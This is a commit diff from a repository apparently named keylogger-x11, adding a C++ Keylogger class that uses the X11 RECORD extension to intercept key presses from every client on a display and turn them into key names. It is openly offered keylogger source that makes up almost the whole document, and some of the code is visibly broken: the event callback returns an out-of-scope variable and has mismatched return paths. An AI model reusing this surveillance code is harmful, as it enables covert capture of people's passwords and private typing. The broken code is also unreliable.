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author | Vianney Bouchaud <vianney@bouchaud.org> | 2011-10-06 19:06:28 +0200 |
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committer | Vianney Bouchaud <vianney@bouchaud.org> | 2011-10-06 19:06:28 +0200 |
commit | 00701af646de99bf0c7b0d16a29edcaa4707b3e8 (patch) | |
tree | 270a910c87c34e6da78b8a25b3d8565cd0ced94d | |
download | keylogger-x11-00701af646de99bf0c7b0d16a29edcaa4707b3e8.tar.gz keylogger-x11-00701af646de99bf0c7b0d16a29edcaa4707b3e8.tar.xz |
base-class non-usable
-rw-r--r-- | includes/Keylogger.hpp | 71 | ||||
-rw-r--r-- | srcs/Keylogger.cpp | 88 |
2 files changed, 159 insertions, 0 deletions
diff --git a/includes/Keylogger.hpp b/includes/Keylogger.hpp new file mode 100644 index 0000000..91f5a71 --- /dev/null +++ b/includes/Keylogger.hpp @@ -0,0 +1,71 @@ +// +// Keylogger.hpp for Keylogger clas in /home/vianney +// +// Made by Vianney Bouchaud +// Login <vianney@bouchaud.org> +// +// Started on Wed Oct 5 13:59:20 2011 Vianney Bouchaud +// Last update Thu Oct 6 19:04:04 2011 Vianney Bouchaud +// + +#ifndef __KEYLOGGER_HH__ +# define __KEYLOGGER_HH__ + +#include <X11/Xlibint.h> +#include <X11/Xlib.h> +#include <X11/Xutil.h> +#include <X11/Xos.h> +#include <X11/Shell.h> +#include <X11/cursorfont.h> +#include <X11/keysymdef.h> +#include <X11/keysym.h> +#include <X11/extensions/record.h> +#include <X11/extensions/XTest.h> +#include <unistd.h> +#include <exception> +#include <string> +#include <iostream> +#include <stdio.h> +#include <sys/socket.h> +#include <netinet/in.h> +#include <netdb.h> + +struct CallbackClosure { + Display *ctrlDisplay; + Display *dataDisplay; + int curX; + int curY; + void *initialObject; +}; + +typedef union { + unsigned char type; + xEvent event; + xResourceReq req; + xGenericReply reply; + xError error; + xConnSetupPrefix setup; +} XRecordDatum; + +class Keylogger { +public: + Keylogger(); + ~Keylogger(); + void start(); + void stop(); + void processData(); + bool xConnect(std::string displayName); + +private: + std::string m_displayName; + CallbackClosure userData; + std::pair<int,int> recVer; + XRecordRange *recRange; + XRecordClientSpec recClientSpec; + XRecordContext recContext; + + void setupRecordExtension(); + static std::string eventCallback(XPointer priv, XRecordInterceptData *hook); +}; + +#endif /* !__KEYLOGGER_HH__ */ diff --git a/srcs/Keylogger.cpp b/srcs/Keylogger.cpp new file mode 100644 index 0000000..2dd2b90 --- /dev/null +++ b/srcs/Keylogger.cpp @@ -0,0 +1,88 @@ +// +// Keylogger.cpp for Keylogger class in /home/vianney +// +// Made by Vianney Bouchaud +// Login <vianney@bouchaud.org> +// +// Started on Wed Oct 5 13:58:25 2011 Vianney Bouchaud +// Last update Thu Oct 6 19:03:44 2011 Vianney Bouchaud +// + +#include <string> +#include "Keylogger.hpp" + +Keylogger::Keylogger() +{ +} + +Keylogger::~Keylogger() +{ + stop(); +} + +void Keylogger::start() +{ + if (!XRecordEnableContextAsync(userData.dataDisplay, recContext, eventCallback, (XPointer) &userData)) + throw exception(); +} + +void Keylogger::stop() +{ + if(!XRecordDisableContext(userData.ctrlDisplay, recContext)) + throw exception(); +} + +void Keylogger::setupRecordExtension() +{ + XSynchronize(userData.ctrlDisplay, True); + if (!XRecordQueryVersion(userData.ctrlDisplay, &recVer.first, &recVer.second)) + throw exception(); + recRange = XRecordAllocRange(); + if (!recRange) + throw exception(); + recRange->device_events.first = KeyPress; + recRange->device_events.last = KeyPress; + recClientSpec = XRecordAllClients; + recContext = XRecordCreateContext(userData.ctrlDisplay, 0, &recClientSpec, 1, &recRange, 1); + if (!recContext) + throw exception(); +} + +void Keylogger::processData() +{ + XRecordProcessReplies(userData.dataDisplay); +} + +bool Keylogger::xConnect(string displayName) +{ + m_displayName = displayName; + if (NULL == (userData.ctrlDisplay = XOpenDisplay(m_displayName.c_str()))) + return (false); + if (NULL == (userData.dataDisplay = XOpenDisplay(m_displayName.c_str()))) + { + XCloseDisplay(userData.ctrlDisplay); + userData.ctrlDisplay = NULL; + return (false); + } + userData.initialObject = (void *)this; + setupRecordExtension(); + return (true); +} + +static std::string Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook) +{ + if (hook->category != XRecordFromServer) + { + XRecordFreeData(hook); + return; + } + CallbackClosure *userData = (CallbackClosure *)priv; + XRecordDatum *data = (XRecordDatum *) hook->data; + if(data->event.u.u.type == KeyPress) + { + int c = data->event.u.u.detail; + std::string solv = XKeysymToString(XKeycodeToKeysym(userData->ctrlDisplay, c, 0)); + } + XRecordFreeData(hook); + return (solv); +} |